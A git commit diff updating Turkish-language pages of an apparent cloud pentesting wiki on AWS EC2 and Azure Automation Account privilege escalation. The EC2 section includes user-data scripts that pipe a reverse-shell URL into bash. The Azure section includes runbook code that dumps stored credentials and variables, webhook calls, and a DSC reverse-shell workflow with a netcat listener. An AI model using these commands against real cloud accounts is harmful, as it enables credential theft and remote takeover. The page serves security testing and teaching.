Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:54 +00:00
parent dbae197d79
commit 1994d73980
7 changed files with 517 additions and 280 deletions

View File

@@ -406,8 +406,7 @@
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

View File

@@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin:
### `iam:PassRole`, `ec2:RunInstances`
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.**
- **SSH ile Erişim**
Yeni bir örnek başlatın ve **oluşturulmuş** **ssh anahtarını** kullanarak (`--key-name`) ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
Bir **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanarak yeni bir örnek başlatın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Kullanıcı verisinde rev shell ile erişim**
Yeni bir örnek çalıştırabilirsiniz, bu **kullanıcı verisi** (`--user-data`) size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
GuradDuty ile dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız:
Dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğrenmek üzere kontrol edin:
ECS hizmetlerini bu yeni EC2 örneğinde **çalıştırmak için zorlamak** nasıl öğrenileceğini kontrol etmek için:
{{#ref}}
aws-ecs-privesc.md
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
```
Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir:
- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \*
- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
@@ -90,25 +90,23 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilir.
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz** \*
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz**.
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- veya **kullanılmış** örneğin **örnek profili** (`ec2:ReplaceIamInstanceProfileAssociation`) ile **değiştirin**. \*
````
- veya **kullanılmış** örneğin **örnek profili**ni değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
### `ec2:RequestSpotInstances`,`iam:PassRole`
**`ec2:RequestSpotInstances`ve`iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ile bir **Spot Instance** **talep edebilir** ve **kullanıcı verisinde** bir **rev shell** ekleyebilir.\
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\
Örnek çalıştırıldığında, **IAM rolünü çalabilir**.
```bash
REV=$(printf '#!/bin/bash
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirme** yeteneği vardır; bu da, örneğin **rastgele verileri çalıştırmasını** sağlayabileceği anlamına gelir. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**.
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Launch Template versiyonu** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan versiyonu değiştirebilir. **O Launch Template'i** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan versiyonu** kullanacak şekilde **yapılandırılmışsa**, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan sürümü değiştirebilir. **O şablonu** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olan **o Başlatma Şablonu** ile **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Olası Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme.
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki artırma.
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ve **rev shell** içeren bir **Launch Configuration** **oluşturabilir**, ardından bu yapılandırmadan **bir autoscaling grubu** **oluşturabilir** ve rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içinde bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **seri bağlantıya bir ssh anahtarı ekleyebilir**. Eğer seri etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Eğer seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.**
```bash
@@ -237,7 +235,7 @@ Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerekt
### `describe-launch-templates`,`describe-launch-template-versions`
Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
Başlatma şablonları sürümlemeye sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -254,7 +252,7 @@ Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemi
`aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz.
**Olası Etki:** IAM kullanıcı(lar)ına doğrudan ayrıcalık yükseltme.
**Olası Etki:** IAM kullanıcı(lar)ına doğrudan yetki yükseltme.
## Referanslar

View File

@@ -0,0 +1,239 @@
# Az - Azure Automation Accounts Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Automation Accounts
Daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Özetle, bu izinler **Automation Account** içinde **Runbook'lar oluşturma, değiştirme ve çalıştırma** yetkisi verir; bu da **Automation Account** bağlamında **kod çalıştırma** ve atanan **Managed Identities** için ayrıcalıkları yükseltme, ayrıca **Automation Account** içinde saklanan **kimlik bilgilerini** ve **şifrelenmiş değişkenleri** sızdırma imkanı sağlar.
İzin **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account içindeki bir Runbook'un kodunu değiştirmeye olanak tanır:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Not edin ki önceki script, bir kimlik bilgisi için **kullanıcı adı ve şifreyi** ve Automation Account'ta saklanan bir **şifreli değişkenin** değerini **sızdırmak** için kullanılabilir.
**`Microsoft.Automation/automationAccounts/runbooks/publish/action`** izni, kullanıcının Automation Account'ta bir Runbook yayınlamasına izin verir, böylece değişiklikler uygulanır:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
İzin **`Microsoft.Automation/automationAccounts/jobs/write`** kullanıcının Automation Account içinde bir Runbook çalıştırmasına olanak tanır:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
```
İzin **`Microsoft.Automation/automationAccounts/jobs/output/read`** kullanıcının Automation Account'taki bir işin çıktısını okumasına olanak tanır:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Eğer oluşturulmuş Runbook'lar yoksa veya yeni bir tane oluşturmak istiyorsanız, bunu yapmak için **izinlere `Microsoft.Resources/subscriptions/resourcegroups/read` ve `Microsoft.Automation/automationAccounts/runbooks/write`** ihtiyacınız olacak:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Bu izin, kullanıcının **Automation Account'a bir kullanıcı yönetilen kimliği atamasına** olanak tanır:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
**`Microsoft.Automation/automationAccounts/schedules/write`** izni ile, her 15 dakikada bir çalışan yeni bir Takvim oluşturmak mümkündür (çok gizli değil) aşağıdaki komut kullanılarak.
Takvim için **minimum aralığın 15 dakika** olduğunu ve **minimum başlangıç zamanının 5 dakika** gelecekte olduğunu unutmayın.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Sonra, **`Microsoft.Automation/automationAccounts/jobSchedules/write`** izni ile bir runbook'a bir Zamanlayıcı atamak mümkündür:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> Önceki örnekte jobchedule id **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` örneği** olarak bırakıldı, ancak bu atamayı oluşturmak için keyfi bir değer kullanmanız gerekecek.
### `Microsoft.Automation/automationAccounts/webhooks/write`
**`Microsoft.Automation/automationAccounts/webhooks/write`** izni ile bir Automation Account içindeki Runbook için yeni bir Webhook oluşturmak mümkündür. Aşağıdaki komutu kullanarak bunu yapabilirsiniz.
Webhook URI'sini kullanmak için **belirtmeniz gerekecek**.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Sadece `Microsoft.Automation/automationAccounts/runbooks/draft/write` izni ile **bir Runbook'un kodunu** yayımlamadan güncellemek ve aşağıdaki komutları kullanarak çalıştırmak mümkündür.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Bu izin, kullanıcının **Automation Account için bir kaynak kontrolü yapılandırmasına** olanak tanır ve aşağıdaki gibi komutlar kullanır (bu örnek olarak Github'ı kullanır):
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Bu, runbook'ları Github deposundan Automation Account'a otomatik olarak içe aktaracak ve bazı diğer izinlerle çalıştırmaya başlamak **yetkileri artırmak** mümkün olacaktır.
Ayrıca, Automation Accounts'ta kaynak kontrolünün çalışabilmesi için yönetilen bir kimliğe sahip olması gerektiğini unutmayın; bu kimlik **`Contributor`** rolüne sahip olmalıdır ve eğer bu bir kullanıcı yönetilen kimlikse, **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkenine kullanılacak kullanıcı yönetilen kimliğinin **client id**'sini ayarlayarak da yapılandırılabilir.
> [!TIP]
> Oluşturulduktan sonra bir kaynak kontrolünün repo URL'sini değiştirmenin mümkün olmadığını unutmayın.
### Özel Çalışma Ortamları
Eğer bir otomasyon hesabı özel bir çalışma ortamı kullanıyorsa, kötü niyetli bir kod (örneğin, **bir arka kapı**) ile çalışma ortamının özel bir paketini geçersiz kılmak mümkün olabilir. Bu şekilde, o özel çalışma ortamını kullanan bir runbook çalıştırıldığında ve özel paket yüklendiğinde, kötü niyetli kod çalıştırılacaktır.
### Durum Yapılandırmasını Tehdit Etme
**Tam gönderiyi kontrol edin:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Adım 1 — Dosyaları Oluştur
**Gerekli Dosyalar:** İki PowerShell betiği gereklidir:
1. `reverse_shell_config.ps1`: Yükü alıp çalıştıran bir Desired State Configuration (DSC) dosyası. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) adresinden temin edilebilir.
2. `push_reverse_shell_config.ps1`: Yapılandırmayı VM'ye yayınlamak için bir betik, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) adresinde mevcuttur.
**Özelleştirme:** Bu dosyalardaki değişkenler ve parametreler, kullanıcıya özgü ortamına göre, kaynak adları, dosya yolları ve sunucu/yük tanımlayıcıları dahil olmak üzere özelleştirilmelidir.
- Adım 2 — Yapılandırma Dosyasını Zip'le
`reverse_shell_config.ps1` bir `.zip` dosyasına sıkıştırılır, böylece Azure Storage Account'a aktarım için hazır hale gelir.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Adım 3 — Depolama Bağlamını Ayarla ve Yükle
Sıkıştırılmış yapılandırma dosyası, Azure'un Set-AzStorageBlobContent cmdlet'ini kullanarak önceden tanımlanmış Azure Storage konteyneri olan azure-pentest'e yüklenir.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Adım 4 — Kali Kutusunu Hazırlama
Kali sunucusu, RevPS.ps1 yükünü bir GitHub deposundan indirir.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Hedef Windows VM ve ters shell için port belirtmek üzere script düzenlenir.
- Adım 5 — Yapılandırma Dosyasını Yayınla
Yapılandırma dosyası çalıştırılır ve sonuç olarak ters shell scripti belirtilen konuma Windows VM üzerinde dağıtılır.
- Adım 6 — Payload'ı Barındır ve Dinleyici Kur
Payload'ı barındırmak için bir Python SimpleHTTPServer başlatılır ve gelen bağlantıları yakalamak için bir Netcat dinleyicisi kurulur.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Zamanlanmış görev, yükü çalıştırarak SYSTEM düzeyinde ayrıcalıklar elde eder.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,170 +0,0 @@
# Az - Automation Account
{{#include ../../../../banners/hacktricks-training.md}}
## Temel Bilgiler
[Belgelerden:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation, Azure ve Azure dışı ortamlarınızda tutarlı yönetimi destekleyen bulut tabanlı bir otomasyon, işletim sistemi güncellemeleri ve yapılandırma hizmeti sunar. Süreç otomasyonu, yapılandırma yönetimi, güncelleme yönetimi, paylaşılan yetenekler ve heterojen özellikler içerir.
Bunlar, **Azure ortamını** **yönetmek**, kontrol etmek ve yapılandırmak için şeyleri (hareketler veya hatta betikler) **çalıştırmanıza** izin veren Azure'daki "**zamanlanmış görevler**" gibidir.
### Çalıştırma Hesabı
**Çalıştırma Hesabı** kullanıldığında, kendinden imzalı bir sertifika ile bir Azure AD **uygulaması** oluşturur, bir **hizmet ilkesi** oluşturur ve **mevcut abonelikte** hesap için **Katkıda Bulunan** rolünü atar (birçok ayrıcalık).\
Microsoft, Otomasyon Hesabı için bir **Yönetilen Kimlik** kullanmayı önerir.
> [!WARNING]
> Bu, **30 Eylül 2023'te kaldırılacak ve Yönetilen Kimlikler için değiştirilecektir.**
## Çalışma Kitapları ve Görevler
**Çalışma kitapları**, **keyfi PowerShell** kodunu **çalıştırmanıza** olanak tanır. Bu, **ekli ilkenin** (varsa) izinlerini çalmak için bir **saldırgan tarafından kötüye kullanılabilir**.\
**Çalışma kitaplarının** **kodunda** ayrıca **hassas bilgiler** (şifreler gibi) bulabilirsiniz.
Eğer **görevleri** **okuyabiliyorsanız**, bunu yapın çünkü **çalışmanın** **çıktısını** **içerir** (potansiyel **hassas bilgiler**).
`Otomasyon Hesapları` --> `<Otomasyon Hesabını Seç>` --> `Çalışma Kitapları/Görevler/Hibrit işçi grupları/Gözlemci görevleri/kimlik bilgileri/değişkenler/sertifikalar/bağlantılar` kısmına gidin.
### Hibrit İşçi
Bir Çalışma Kitabı, **Azure içindeki bir konteynerde** veya **Hibrit İşçi** (azure dışı makine) üzerinde çalıştırılabilir.\
**Log Analytics Agent**, onu hibrit işçi olarak kaydetmek için VM'ye dağıtılır.\
Hibrit işçi görevleri, Windows'ta **SİSTEM** ve Linux'ta **nxautomation** hesabı olarak çalışır.\
Her Hibrit İşçi, bir **Hibrit İşçi Grubu** içinde kaydedilir.
Bu nedenle, bir **Çalışma Kitabını** **Windows Hibrit İşçi** üzerinde çalıştırmayı seçerseniz, **Sistem** olarak bir dış makine içinde **keyfi komutlar** çalıştıracaksınız (güzel bir pivot tekniği).
## Kompromi Durum Yapılandırması (SC)
[Belgelerden:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Durum Yapılandırması**, herhangi bir bulut veya yerel veri merkezindeki düğümler için PowerShell İstenen Durum Yapılandırması (DSC) [yapılandırmalarını](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) yazmanıza, yönetmenize ve derlemenize olanak tanıyan bir Azure yapılandırma yönetim hizmetidir. Hizmet ayrıca [DSC Kaynaklarını](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) içe aktarır ve yapılandırmaları hedef düğümlere atar, tüm bunlar bulutta gerçekleşir. Azure portalında **Yapılandırma Yönetimi** altında **Durum yapılandırması (DSC)** seçeneğini seçerek Azure Automation Durum Yapılandırmasına erişebilirsiniz.
Bu yapılandırmalarda **hassas bilgiler** bulunabilir.
### RCE
Yönetilen makinelerde keyfi betikler çalıştırmak için SC'yi kötüye kullanmak mümkündür.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Sayım
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
